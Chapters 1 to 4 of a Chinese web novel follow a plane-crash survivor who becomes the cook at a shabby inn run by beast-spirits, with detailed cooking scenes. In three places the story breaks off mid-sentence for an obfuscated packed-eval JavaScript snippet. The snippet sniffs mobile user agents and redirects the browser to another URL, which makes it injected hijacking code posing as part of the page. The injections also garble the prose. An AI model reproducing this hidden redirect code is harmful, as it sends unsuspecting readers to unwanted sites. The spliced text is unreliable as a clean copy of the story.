《妖界小厨娘》 1. 铜锅涮羊肉 飞机失事的瞬间，巨大的轰鸣和撕裂声几乎震破耳膜。失重感猛地将简菡死死按在座位上，心脏像被一只冰冷的手攥紧，疯狂地想要跳出胸腔。 氧气面罩“啪”地垂落，在眼前疯狂晃动。机舱内哭喊和尖叫不绝于耳，空气中弥漫着绝望的气息。 透过舷窗，只见翻滚的乌云和狰狞的闪电瞬间逼近。 在意识被黑暗吞噬前的最后一秒，她脑中闪过的不是未竟的人生宏愿，而是家里灶上那锅小火慢炖了一下午、她还没尝上一口就匆匆忙忙放进冰箱的红烧肉。 “妈的……亏大了……” 这是她最后的念头…… 再睁开眼，简菡看着陌生的环境，猛地坐起身，一阵眩晕袭来，她又躺了回去。 “醒了？” 一个低沉的男生从门口传来。 简菡抬头，对上一双黑溜溜的眼睛。 男人……不，应该说是犬妖，正倚在门框上，头顶一对立耳警惕地竖起，身后蓬松的尾巴悠闲地摇晃着。他穿着简单的粗布衣衫，袖口挽到手肘，露出结实的小臂。 “你……” 简菡的嗓子干得发疼，声音嘶哑得不像自己的。她下意识往后缩了缩，后背抵上粗糙的木板墙。 犬妖男挑了挑眉，丢给简菡一个水囊。 “喝吧，人。你都昏睡三天了。” 水囊砸在简菡腿上，沉甸甸的。她警惕地看着犬妖男，没敢喝。 犬妖男见她没动，问道：“怕有毒？” 简菡没出声，但侧面回答了他的问题。 “呵！” 犬妖男冷哼一声，弯腰抓起水囊仰头灌了几大口，喉结滚动间显出几分野性。 “能喝了？” 他再次将水囊递过来的时候，手上还带着水。 简菡盯着水囊，终于伸手接了过来。她小口啜饮，清凉的液体滑入喉咙的瞬间，舒服得几乎叹息。 水有些甜，带着淡淡的花香。 她刚要再喝一口，手上的水囊突然被抽走。 “少喝点，这可不是普通的水。喝多了你的人身受不住。” 简菡一愣，下意识抬头看向犬妖男。 “抱歉，能让我摸一下你的耳朵吗？”她边说边打量着犬妖男的脸，“不方便的话，尾巴也行……” 犬妖男垂眼看着她，像是在思考她的话。 半晌，他叹了口气，把头凑近了些。 “冒犯了。” 简菡伸出手，哆哆嗦嗦地碰了碰那柔软的耳朵尖。触感比看起来更顺滑，像是最细腻的绸缎，又带着绒毛的温暖，跟摸小狗的耳朵一样的手感。 “天爷呦！” 她两眼一翻，又晕了过去。 简菡花了整整一天的时间，终于接受了这个事实。 她没死成，反而到了一个兽人世界。 不仅穿越，还把人家犬妖男砸伤后，自己昏迷了三天！ 没有官府的身份文牒，没有法术，还背了一屁股的债…… 简菡深深地叹了口气，“请问，咱们客栈招厨娘吗？” 犬妖男带着她在客栈里转了一圈。 客栈大堂里，几张瘸腿的桌子东倒西歪地杵着，墙角蛛网层层叠叠，厚得能兜住风。唯独那柜台还算完整，上面趴着只通体乌黑的猫，正慢悠悠地舔着前爪。 “这就是厨房。” 犬妖男子抬手一指，示意她自己进去看。 简菡的手才刚刚碰到门板，摇摇欲坠的木门上，腐朽的门轴发出刺耳的呻吟，扑面而来的霉味呛得她倒退半步。 屋内，灶台塌了半边，铁锅还破了个大洞，菜刀锈得刀把一碰就掉渣，墙角的堆着的袋子上长满了黑色的霉斑。 她捂住口鼻退回门边，皱着眉打量这间破败的厨房，脑子里全是刚才签的卖身契。 她转身看向犬妖男，满脸的质疑，“你这不会是黑店吧？” ========= “汪屿，男，狼人，未婚，狼犬酒馆掌柜。” “墨无咎，男，玄猫，未婚，账房。” “雪翎，女，白凰，未婚，跑堂。” 简菡攥紧了衣角，在三人灼灼目光中局促地站起身来。 她清了清嗓子，道：“简菡，女，人，未婚，厨娘。” 空气凝固了三秒。 墨无咎的尾巴尖卷着一支毛笔，正全神贯注地在账本空白处画着一个歪歪扭扭的毛线团；雪翎不知从哪摸出一面小铜镜，正偏着头，小心翼翼地用喙梳理着一根光泽不太完美的翎羽；而汪屿，他甚至不知从哪摸出一块磨爪木，正低着头，咔嚓咔嚓地磨着他的利爪，听得简菡牙酸。 完全没有一个人在听她说话。 简菡深吸一口气，脾气非但没控制住，反而猛地一拍桌子，“都听见没！” 她的手掌拍在桌上的脆响惊得三人齐齐抬头，“这客栈都破败成这样了还混日子呢？” 话一出口她就后悔了。 三道意味不明的目光齐刷刷地落在她身上，盯得她后背发凉。 事已至此，伸头一刀，缩头还是一刀！ 她强撑着，全当没看见。 “你，去把桌子椅子都修了。你，去打扫卫生，厨房归我，你……”简菡的声音顿了一瞬，随后她将提前列好的购物清单拍在了汪屿的面前，“你去把这上面的东西都买回来。” 简菡刚要溜向厨房，手腕忽然被人拽住。她一回头，正对上汪屿幽深的眸子。 “没钱，划掉几项。” 没钱你开什么店啊！ 心里再嫌弃，她手上已经从墨无咎尾巴上把毛笔夺了过来。 锅必不可少，碗就用后厨的吧，米面粮油，盐醋酱油…… 简菡一边拨弄着算盘，一边在清单上勾勾画画。 还好，她上小学的时候学过珠算，不然没有计算器，她还真算不过来。 算盘珠子噼里啪啦响着，她的眉头越皱越紧，“不能再少了！” 汪屿歪头，看了一眼单子。 “行吧。” 他抓起那张纸，径直出了门。 简菡刚要松一口气，就跟墨无咎和雪翎的视线撞个正着。 她眼珠一转，装作若无其事地哼着小曲儿往厨房走去。 破洞的铁锅最先被她拎了出去，这送去铁匠铺说不定能融了打个菜刀啥的，再不济也应该能换些碎银子。 发了霉的米面吃不得。 简菡吭哧吭哧，猫着腰，一点一点地把东西往外丢。 “啊！” 她被突然出现在门口的身影吓得一激灵，手里的霉米差点撒了一地。 “你俩站这干嘛？” 墨无咎与雪翎并肩而立，阴恻恻的看着她。 “怎么做？” 墨无咎顶着一张面瘫脸，说话倒是个热心肠。 简菡怔了一瞬，便赶忙将打算一五一十地讲给他们听。 会法术真好啊！ 简菡惊奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588517|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地瞪大眼睛，看着厨房里的“动静”。锅碗瓢盆跟长了腿似的，自己就去水里洗了个干净。塌了的灶台也被修补好，屋里没一会儿就焕然一新。 “真厉害！” 她竖着大拇指，不停赞叹着。 二人话都没说，转身便走出了厨房。 简菡望着他们的背影，心中泛起一丝暖意。但她还是忍不住地想着，这二人该不会是个哑巴吧？ 刀刃贴着羊后腿的纹理走，薄如蝉翼的肉片便顺从地剥落下来，一片压着一片，叠在青花瓷盘里。嫩豆腐方方正正，莹白如玉，在另一盘中垒得齐整，棱角分明却又透着水润，轻轻一碰便微微颤动。 海虾、菌菇、各色青菜…… 简菡本着第一顿开工宴的原则，无视汪屿的“荷包”，光食材就码了一桌子。 黄铜打造的锅子稳稳架在铁炉上，中间立着笔直的烟囱。锅身打磨得光亮，照得见人影，锅沿一圈錾着简单的回纹。用铁钳夹着通红的木炭，一块块码进炉膛。炭火噼啪作响，升腾的热气令锅子里的清汤微微泛起涟漪，咕嘟咕嘟地冒着泡，蒸汽顶着铜盖轻轻颤动，发出“咔嗒咔嗒”的细响。 几勺澥开的芝麻酱打底，一块腐乳、半勺红汤，一勺韭菜花，香醋、虾油、香菜碎和葱花，用筷子轻轻搅匀，琥珀色的酱料散发出复合的香气。 “吃啊！” 简菡夹起厚厚一筷子的羊肉片放进了锅里。 薄如蝉翼的羊肉才刚入锅，瞬间就变了色，蜷缩成一团。夹起时带起的汤汁滴在铜锅边缘，溅起细小的油花。 她将肉片放进碗里，在酱料中一卷，浅褐色的羊肉裹着浓郁的酱香，入口鲜嫩滑爽，丝毫没有膻味。 她忍不住眯起眼，脸上浮现出满足的笑容。 这没污染的食材就是鲜啊！ 萝卜、菌菇、土豆片这些耐煮的食材早早就被简菡丢进去锅里了。 她刚想伸筷子去挟块萝卜，就见饭桌上另外的三个人筷子都没动。 啧！ 白瞎那羊肉了！ 都老了！ 她拿起公筷，挨个给他们分了些肉放进碗里。 做完这一切，她还下意识地、略带得意地微微点了下头，对自己充分考虑“毛茸茸饮食健康”的表现十分满意。 “吃啊！怎么都不动筷子呢！”嘴里的萝卜还没咽下去，她含糊地催促着。 萝卜吸汤，软糯鲜香，轻轻一咬便在舌尖化开。甘甜的汤汁混着咸咸的酱汁在口中交织出层次分明的味道。 难不成，等着她喂啊！ 简菡极力忍住自己的情绪，这才没翻白眼。 要不是锅里还咕嘟咕嘟地冒着泡，她都觉得汪屿他们是不是被施了定身术。 话不说，菜不吃，手不动的。 她觉得气氛有些不大对劲，干脆放下了手里的筷子，跟对面的三人玩起了“对视游戏。” 简菡强撑着眼眶的酸涩，泪都顺着脸滑下来了，也不肯屈服。 汪屿双手环胸，极好心地打破了僵局。 “只有没化形的低级妖兽和你们人类才需要吃饭，我们是不需要食五谷的。” 说完，他起身就朝着后院走去。 他一走，墨无咎和雪翎也离开了。 偌大一桌子的菜，只剩下简菡一人享用。 她望着空荡荡的座位，心里“万马奔腾”。 不需要吃饭！ 你们开什么客栈！ 招什么厨娘啊！ 2. 五香瓜子、糖炒栗子 麻辣烫、麻辣拌、涮锅子…… 简菡花了整整四天半，才像完成一项艰巨任务般，把那晚堆积如山的食材边角料全部“处理”进肚。 全赖某种有违自然法则的保鲜力量，她才没吃到食物中毒。到最后，她光是听见这几个字，胃里就条件反射地冒酸水。 没有客人，店里那三个家伙也不吃饭。 简菡孤零零地坐在大堂的门槛上，瞧着来来往往的行人。 实在是太无聊了！ 没有手机，也没有WIFI，她真是应了《甄嬛传》里敬妃的那句话，简直是把每块砖都摸遍了！ 她托着腮帮子，正出神呢，忽然，一阵微风拂过，吹动了她额前几缕凌乱的发丝。 她下意识地抬手，指尖刚将碎发别至耳后，动作却忽地顿住了。 她的视线不由自主地被对门吸引。 一个顶着柔软猫耳的男子，正懒洋洋地倚着雕花门廊边。 他身上那件绛红色交领长袍松松垮垮地穿着，衣带随意系着，领口散开大半，露出一段精致如玉的锁骨和若隐若现的胸膛轮廓。宽大的袖口滑落至手肘，露出一截冷白劲瘦的小臂。 墨玉般的发丝垂落在他微微敞开的领口，与绯红衣襟形成旖旎的对比。衣摆处绣着暗纹，随着他慵懒倚靠的动作在腰间堆叠出暧昧的褶皱，整个人透着股刚刚醒来的撩人倦意。 最要命的是那双眼睛，像浸在幽深湖水里的宝石，在午后斜照里含着一点漫不经心的光，直直地朝她望来。 那目光里带着毫不掩饰的审视和一种……近乎蛊惑的意味。他头顶那对敏感的三角耳朵极其轻微地抖动了一下，阳光下，细小的绒毛清晰可见。 简菡的心跳毫无预兆地漏跳了一拍，呼吸屏住了。 她像被无形的手按在原地，只能怔怔地回望，脑子里空茫茫一片。 捕捉到她这彻底失神的模样，男子唇角极缓、极慢地勾了起来。那不是一个全然的微笑，而是一种更深层、更属于猫科动物的表情——了然，有趣，以及一种近乎戏耍猎物的志在必得。 他甚至没有多做任何一个动作，只是眼神微不可察地流转，那份无声的邀请和挑衅就浓得几乎化不开。 “啧。” 一声毫不掩饰的嗤笑突兀地从左侧传来，像根针一样刺破了这“粘稠”的氛围。 简菡猛地回神，脸颊“唰”地一下烧起来，窘迫地循声扭头。 只见门口不知何时，来了一个摆摊的……松鼠人？ 蓬松硕大的尾巴在他身后朝向背部反卷，颧骨和眼眶有些突兀地隆起，衬得那双黑豆似的小眼睛愈发滴溜溜乱转。他身上穿着件靛蓝色的粗布短打，肩上斜挎着个鼓鼓囊囊的褡裢，手拿着颗带毛刺的生板栗，眼里毫不掩饰促狭与看热闹的笑意。 “看入迷了？”他剥掉板栗蓬，露出里面光溜溜的褐色果实，，“口水擦擦，快流到下巴了。” 他夸张地咂咂嘴，晃了下大尾巴：“劝你收收心，那猫郎也就一张脸能看。招蜂引蝶的，心眼儿可比松果上的纹路还多。” 简菡的脸腾地一下红到耳根，窘迫得几乎想找个地缝钻进去。 她腾地一下站了起来，刚要往屋里躲，就意识到这样更显得自己心虚。她强装镇定，拍了拍裙摆上的褶皱，假装若无其事地坐了回去。 “我看谁了？我那是不小心睡着了，无意识流的口水罢了！” 她这话一出口，连自己都觉得牵强得可笑。 但本着做戏做全套原则，她还抬起胳膊，擦了下嘴角。 简菡的手指在擦过嘴角时微微顿了一下，干、干的？ 意识到被骗，她恼羞成怒地瞪向那松鼠人，却见他早已笑得前仰后合，连肩膀都抖得像风里的树叶。他那双小眼睛闪着促狭的光，显然是故意捉弄她。 她刚想问候一下松鼠人的祖宗们，就听见对门的猫郎微不可查地轻笑了一声。极轻，但她就是听见了！ 简菡故意绷着不回头，即使耳根红得像烧着了一般，还是咬紧牙关，指甲掐着掌心，装作什么都没发生的样子。 “现在虽然没入秋呢，但还是建议您若是闲着无事，去检查一下藏起来的过冬食物呢，小心被人拿走了，气得你找个树杈子把自己挂上去！” 说完，她转身进了屋，哐当一声把门摔上。 丢死人了！ 简菡捂着脸靠在门后，越想越懊恼，蹬蹬蹬地回了后院的房间。她气呼呼地一头扑倒在床上，抓起枕头狠狠地砸了几下。 不就看了两眼嘛！看两眼能怎么了！ 他做那行业的！ 还怕人看不成！ 她越想越气，翻了个身，把脸埋进了枕头里。 “她这是怎么了？” 雪翎放下手里的镜子，看向柜台上的墨无咎。 “谁知道呢。”他懒洋洋地翻了个身，尾巴尖有一下没一下地敲着柜台，语气散漫地说道，“可能是发春了吧。” 雪翎闻言，微微蹙眉，目光却不自觉地瞥向后院的方向。 发春？ 可这方圆百里，只有她一个人类啊！她能对着哪个异类发春啊？ 她这话一出口，连自己都觉得牵强得可笑。 ============ 栗子搓洗干净表面的绒毛和杂质，用刀在栗子壳上切一个深深的开口。切好口的栗子在清水中浸泡一会儿，让栗子肉吸收一些水分。 将粗砂和小石子放在大铁锅里炒到滚烫冒烟后，倒入沥干水分的栗子快速翻炒。约莫一刻钟的时间，栗子的开口逐渐张开，均匀地淋入糖和油。高温下，糖快速融化又迅速焦化，散发出诱人的焦糖香气。 栗子的香气渐渐弥漫开来，每一颗栗子都裹上了糖油的光泽，像是披上了一层晶莹的琥珀衣。 简菡忍着扑面而来的热气，用筛网从砂石里滤出栗子，再一点点地倒进竹篮里。 她捏起一颗，用力一捏。“咔嚓”一声脆响，栗子壳应声而裂，露出金黄饱满的果仁。吹凉些，轻轻咬一口，软糯香甜的栗子仁在齿间化开，还带着一丝焦糖的香气。 “尝尝？” 简菡拎着竹篮，站在门槛边，朝松鼠人的方向伸了伸。 这两天，她也跟他混熟了。 客栈一直没生意，估计也发不出月钱。人家三个兽人不用吃饭，她要啊！等汪屿买回来的那些食材吃完，她都不好意思跟人家张口。 聂松……也就是在客栈门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588518|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖坚果的松鼠人说，在地下妖市，不需要身份户籍就能进行交易。 聊得多了，她也就厚着脸皮跟他借了些栗子。想着炒熟后，跟着他去妖市售卖，换点银子。 生栗子外壳坚硬，里层的棕色内皮牢牢地粘在果仁上很难去除，也很难剥出完整的栗子肉。栗子仁带有淡淡的清甜味，可口感又硬又楞，吃得多了还会腹胀。 聂松鼻头耸动，用力绣着空气中淡淡的香甜气息，黑豆眼儿都睁大了不少。 这香味儿……真香！ 他拿起一颗，习惯性地往嘴里送，想用锋利的大门牙在栗子壳的侧面垂直于纹路咬开一条裂缝。然而这次，壳刚贴在唇边，舌尖就先尝到了糖油的甜味。 他愣了一下，随机眯起眼睛。 “咔嚓！” 一声脆响，令聂松的动作瞬间停滞住。 不是他啊！ 他还没咬呢啊！ 他偏头，看见简菡正笑眯眯地捏着一颗裂开的栗子。 聂松眨眨眼，将唇边的栗子拿下来，一眼就瞧见栗子上早就划开的那道口子。他瞟着简菡的动作，用力一捏，那颗栗子毫不费力便裂开了。 完完整整的栗子仁躺在掌心里，散发着温热的香气。聂松低头嗅了嗅，随即试探着咬了一小口。 炒制后的栗子在高温的运作下，贮藏的淀粉发生变化，口感变得粉糯、香甜、绵软，糖分顺着栗子壳上的缝隙钻入其中，让栗子仁更加入味、甘甜。 聂松眼睛一亮，连带着尾巴都不自觉地摇晃起来。 “酉时二刻，咱们在这碰面。” “成！” 简菡笑得眼睛都弯成了月牙，她给聂松抓了一小半栗子塞进他掌心，拎着筐转身回了客栈。 得趁着有时间，把后院的瓜子也给炒出来！ 所谓的地下妖市，其实就是一个三不管地区。地上是一个荒废的旧赌场，底下用来关押赌徒的地窖被改造成交易场所。 简菡跟在聂松身后，七拐八绕地进了地下妖市。 市集里人声鼎沸，各色妖兽混杂其间，摊位上摆满了稀奇古怪的商品。她紧紧攥着装有瓜子和栗子的竹篮，心跳不由自主地加快。 聂松找了处没人的角落，铺开一块灰扑扑的布巾，又将简菡和他带来的篮子摆好，示意她一同在布巾上坐下。 瓜子和栗子提前用油纸袋分装好了。 小包八文，中包十二文，大包十八文。 “妖市奇货——香糯栗子、脆壳瓜子，尝过都说好！” 聂松看着面前人来人往的妖，扯着嗓子就吆喝了起来。简菡一个没出声的，反倒羞红了脸，恨不得找条地缝钻进去。 “来一包尝尝呗，香糯可口，吃了不后悔！” 聂松瞄准了只乌鸦人，从纸包里抓了一小把就往他手里塞。 乌鸦人迟疑地接过瓜子，低头嗅了嗅，忽然眼睛一亮，“有点意思。” 他“咔嚓”咬开一颗，香料的滋味比瓜子仁的油香更先一步迸发出来，他满意地点点头，直接掏钱买下了一大包。 原来……真的能卖出去？ 这一幕让简菡瞪大了眼睛，心跳扑通扑通地加快。她刚想开口，聂松已经瞄准了下一个目标。 3. 素面小咸菜 接连跟着聂松去了几趟妖市，她们的炒货生意也渐渐有了起色。为稳妥起见，如今简菡只留在客栈专心炒制分装，聂松则负责出摊售卖。 浸泡了一夜的瓜子从香料水中捞出，沥干后倒入大锅，小火慢炒。锅铲与铁壁相碰，发出清脆声响，瓜子逐渐镀上金黄，香气一丝丝逸出。简菡不疾不徐地翻动着，目光专注，不时拈起一粒对着光仔细察看火候。汗珠自鬓角滑落，她也浑然不觉。 “喂，来活了。” 刚炒完一锅瓜子，简菡正想喘口气，雪翎悄无声息地出现在她身后。 “两碗素面，一碟咸菜疙瘩。”她将一枚铜钱递过来。 “你们不是不用吃饭么？”简菡接过钱，有些发懵。 雪翎耸耸肩，语气平淡：“来了两个住店的穷酸捉妖师。”说着顺手从锅里抓了把刚炒好的瓜子，一边吹气一边朝大堂走去。 自简菡来到客栈，这还是头一回来客人。她洗净手，快步走进厨房。 锅灶先烧上水，面团擀成薄片后切成长条。等水沸后下锅煮，在面条快熟时，把青菜扔进去烫一下，一起捞出。 记着雪翎的交代，她一点猪油都没放。 见清汤寡水实在过于素净，简菡忍不住想滴几滴香油，指尖触到油瓶又缩了回来。 万一捉妖师忌荤呢？ 于是，就连葱花香菜，她也特意另装小碟，一并放在托盘上。 简菡端着东西，稳稳地走进大堂，可算明白了雪翎说的“穷鬼”是何含义。 两个捉妖师身上的道袍洗的泛白，衣角还沾着泥浆，头发也仅仅用木头簪子挽着，比兽人穿金戴银的模样可差远了。 简菡将素面和咸菜端上桌，余光瞥见旁边的凳子上放着两个单薄的包袱，外层的布磨得都起毛边了。 “客官慢用。”她轻声招呼，正要转身，却被叫住。 “姑娘，续面要钱么？” 简菡一怔，瞥见柜台后墨无咎微微摇头，这才应道：“免费添面，不要钱。” “多谢。”二人执筷用餐，姿态斯文却速度惊人。 简菡抱着托盘还没走出大堂，身后就传来一声冷静的呼唤： “姑娘，续面。” 她回头一看，桌上两只碗已然空空如也，光洁得能照出人影。 “……您稍等。”简菡眼角一跳，快步折回厨房。 接下来的小半个时辰，厨房和饭桌之间仿佛形成了一条无形的传送带。 简菡刚把一坨面团擀开、切条、下锅，捞出后端出去；回来就看见雪翎端着两只空碗进来，面无表情地往灶台上一放：“满上。” 和面、揉面、擀面、切面、煮面……简菡像个莫得感情的煮面机器，汗水顺着鬓角滑落都顾不上擦。灶边预备的面粉以肉眼可见的速度下降。 在她第三次揉着酸胀不堪的手腕时，雪翎终于带来了“福音”：“差不多了，这该是最后一碗。”她帮着将面端出去。 简菡长舒一口气，几乎虚脱地瘫坐在灶边小凳上，看着快要见底的面袋，内心疯狂呐喊：这哪是捉妖师，这是饕餮转世吧！早知这样，续面的钱必须收！双倍！ 啪嗒。 一枚玉坠跌进她怀里。 她回过头，汪屿抱臂正倚在门边。 “你的身份户籍办下来了。” 简菡摩挲着怀中温润的玉坠，一时有些怔忡。 玉坠上刻着“简菡”二字，字迹清隽，像是特意雕琢过。 她抬头看向汪屿，对方却只是懒洋洋地打了个哈欠，仿佛只是随手丢过来一颗石子，而非关乎她身份的重要凭证。 “这就……办下来了？” 简菡有些难以置信，不是说人族不轻易给办理吗？！ “不然呢？”汪屿挑眉，语气依旧没什么起伏，“收好了，丢了可没第二块。” “多谢……” 简菡的话还没说完，汪屿已经转身，摆摆手晃悠着走了，留下她对着玉坠发愣。 大堂那边又传来雪翎提高的嗓音：“简菡！面！又空了！” 简菡一个激灵，赶紧把玉坠小心塞进怀里藏好。 现在不是研究这个的时候，填饱那两位“穷鬼”捉妖师的肚子才是当务之急。她认命地看向案板上最后备好的面条，幸好她多了个心眼。 面才下锅，大堂里忽然传来一阵喧哗。 简菡下意识就跑了过去，等她赶到的时候，桌上只剩下堆成小山的空碗，那俩捉妖师却不见了踪影。 “人呢？” 她看向柜台后蹲着的雪翎和墨无咎。 二人伸出手指，朝门外小幅度地指了指。 简菡快步走到门口，才刚冒头，便立马缩了回来。 乖乖！ 刀光剑影的，差点闪瞎她的眼！ 简菡猫着腰，抱头跑到了柜台边，把雪翎往里挤。 “怎么回事？” 她拧眉朝二人看去，就见她们齐刷刷地摇着头。 她正要追问几句，忽然想起面还在煮着呢，赶紧冲回了后院。 说来也巧，面刚好煮熟。 那俩人现在也没空吃吧！ 这么想着，简菡把面捞出来，放在冷水里浸着。 她再走回大堂的时候，发现汪屿也在。还大咧咧地搬了条板凳坐在门口。 简菡目光快速扫过柜台，脚下却没停，径直走到门边，一声不响地缩到了汪屿背后。 门外，兽人被吓得几乎要维持不住人形了。 白仙鹤胡乱提着竹竿长腿，在捉妖师脸上来回抽打，搏斗中羽毛噗簌簌往下掉，眨眼功夫就秃了一半，活像只被拔了毛的鸡。黑毛虎嗷呜嗷呜叫着想溜，结果被一名捉药师死死抱住大腿，整只虎僵在那儿，进也不是退也不是，只剩两只前爪在空中疯狂扑腾。 “咦！” 简菡惊呼，暗暗戳戳汪屿的后背，“他们打架怎么都不用法术的啊？” 这不是纯纯的肉搏吗？ 汪屿头都没回，看得正起劲儿呢，“初一、十五，镇上禁止动用灵力。” 啥？ 简菡的眼睛瞬间瞪大，还有这规矩？ 哐当！ 重物落地，扬起漫天的灰尘。 简菡和汪屿皱着眉头往后稍了一步。二人用手挥着面前的空气，呛得直咳嗽。 定睛朝外看去。 白仙鹤和黑毛虎分别被捉妖师用身体扑在地上，动弹不得。 “咳咳……” 简菡还没缓过神，就见两名捉妖师从腰间解下符绳，动作娴熟地将人捆了个结实。 视线偏移，她的目光跟对门的猫郎对个正着。 非礼勿视，非礼勿视！ 她一边嘀咕着，一边用手遮住了眼睛。 “呵。” 猫郎被她这副模样逗笑，扭着腰回了店里。 汪仙楼中，汪屿等人装模作样在打扫，眼睛却偷瞄着长桌那边的盛况。 两个兽人被捆得跟粽子似的，嘴上还被贴了张镇灵符，任凭他们如何挣扎都无济于事。两个捉妖师也没好到哪去，一个满脸的抓痕，一个眼眶紫红。 “说！你们偷来的东西都藏哪了？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16588519|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 熊猫眼捉妖师一把抓起了黑毛虎的衣领，唾沫星子直往他脸上喷。 “唔冤枉啊！” 黑毛虎满脸涨红，眼中透着愤怒与委屈。 “我们什么都没偷！”他挣扎着吼道，声音却被镇灵符死死压制，只能发出模糊的低鸣。 白仙鹤也拼命摇头，眼神焦急，羽毛凌乱不堪。 花脸捉妖师冷笑一声，手一扬，镇灵符飘回了他手里。 “哼！”花脸捉妖师冷哼，“你们好歹也是名震江湖的白鹤黑虎，有胆子做，没胆子认？” 话音刚落，柜台里的墨无咎和雪翎倏地对视一眼，双方眼里全是震惊。 “什么白鹤黑虎？我俩都不认识啊！” 可算是能开了口，白仙鹤和黑毛虎赶紧齐声喊冤。 抓……抓错了？ 两个捉妖师对视一眼，脸色有些发青。 熊猫眼捉妖师干咳两声，揪着黑毛虎衣领的手微微松了些，可还是不肯放手，“这……这可说不得准，指不定是你们在骗人呢！” 白仙鹤突然激动地扑腾着被捆住的翅膀，声音带着一丝颤抖和急切，“玉坠，我身上有玉坠！” “我身上也有！” 黑毛虎急忙附和，两眼放光。 花脸捉妖师给熊猫眼使了个眼色，二人解下玉坠，符文流转，身份来历一目了然。 白仙鹤是从岭南来得，黑毛虎是从黑水来得，还真没去过京城。 花脸捉妖师脸色一沉，咬牙松开了手中的符绳。 白仙鹤和黑毛虎瞬间腰板子都硬起来了，二人骂骂咧咧地，恨不得将两个捉妖师打一顿泄气，但人家到底是官府中人，动不得。 两人只得愤愤地拍了拍衣服上的尘土，从捉妖师手上夺回了玉坠，一前一后走出了汪仙楼。 简菡大眼睛滴溜溜地转着，心里憋了一肚子的疑问，但看着那两位捉妖师还在大堂角落慢吞吞地收拾他们的破旧包袱，只好强忍着好奇，手脚麻利地收拾起桌上堆成小山的空碗。 直到两位捉妖师终于背起他们那磨破了边的行囊，道了声“叨扰”，跟着墨无咎上了楼，身影彻底消失在楼梯转角，大堂里那根无形的弦才蓦地松弛下来。 简菡立刻蹭到柜台边，按捺不住地小声问：“那个……‘白鹤黑虎’是什么来头？听起来很厉害？还有那玉坠，怎么捉妖师一看就信了？” 她说着，下意识摸了摸自己怀里那枚温润的物件。 雪翎闻言，眼睛倏地亮了，立刻来了精神，把手里的抹布一丢就凑过来：“这你都不知道？京城里最近最嚣张的两个飞贼！听说专偷达官显贵，来无影去无踪，把那些官老爷们的库房当自家后院逛呢！” 她边说边比划，语气里带着几分看热闹的兴奋，“官府的悬赏金都快挂到天上去了！” 墨无咎从楼梯上无声地走下来，接了一句，声音压得低低：“嗯。手段高明，极擅隐匿。” 汪屿不知何时晃了过来，倚着柜台，懒洋洋地接了一句，目光却意有所指地扫过简菡紧握玉坠的手：“玉坠是官府特制的身份凭证，符文独特，难以仿造。” “哦……”简菡似懂非懂地点点头，摩挲着玉坠上的文字，心里一块大石头稍稍落了地，可她却对那双飞贼更加好奇了起来。 “不过话说回来，”雪翎像是突然想起什么，噗嗤一笑，促狭地朝楼上努了努嘴，“飞贼没抓到，咱家的面倒是被剿灭得一干二净。” 一句话，又把众人的目光引向了桌上的那摞空碗，方才的紧张气氛顿时消散，只剩下几分哭笑不得的无奈。 4. 剔骨肉炒面 灶台上的大锅咕嘟冒着热气，一股浓郁醇厚的肉香早已压过了后厨里所有的味道。 简菡垫着厚抹布，将那只炖得酥烂、色泽酱红的大猪肘从翻滚的汤汁里捞出来，盛进一个宽大的陶盆。热油还在肉皮上滋滋作响，诱人的光泽随着颤动流淌。 她甩了甩手，麻利地套上一副干净的粗布手套，指尖立刻感受到陶盆传来的滚烫热度。时候正好，骨肉间的胶质最为松弛，是拆卸的黄金时机。 十指探入那团软烂，略一摸索，便精准地掐住了藏在中央那根粗硬的主骨。腕上稍一用力，伴着极轻微的一声“啵”，主骨便顺从地脱了出来，干净利落，没多带一丝肉筋。 “嗒”一声，骨头被丢进旁边的空碗。 热气熏得她额角冒汗，她也浑然不觉，全部心神都落在手下。指尖在那肥瘦相间、胶质丰盈的肉块间熟练地游走，或撕或掰，或捻或捏，将粘连的筋膜一一分离，细小的骺骨和软骨被轻易剔出，精准地落入骨碗，发出细碎的轻响。 不过片刻，那只丰腴的肘子便化作一盘松散均匀、皮糯肉烂的拆骨肉，在陶盆里闪着油润诱人的光泽。 浓郁的肉香几乎化为实质，缠绕在鼻尖。简菡脱下手套，深吸一口这扎实的香气，只觉得方才的忙碌都值了。 铁锅架在灶上，烧得渐热，简菡舀入一勺清亮的菜油。 待油面泛起细纹，她将剔骨肉尽数倾入锅中，“嗤”的一声，肉香顿时漫开。肉块在热油中翻炒，渐渐镀上焦边，她才撒下切好的姜蒜末，又点入一勺黄酒。酒气蒸腾间，酱醋依次落下，锅底爆起一阵咸香。 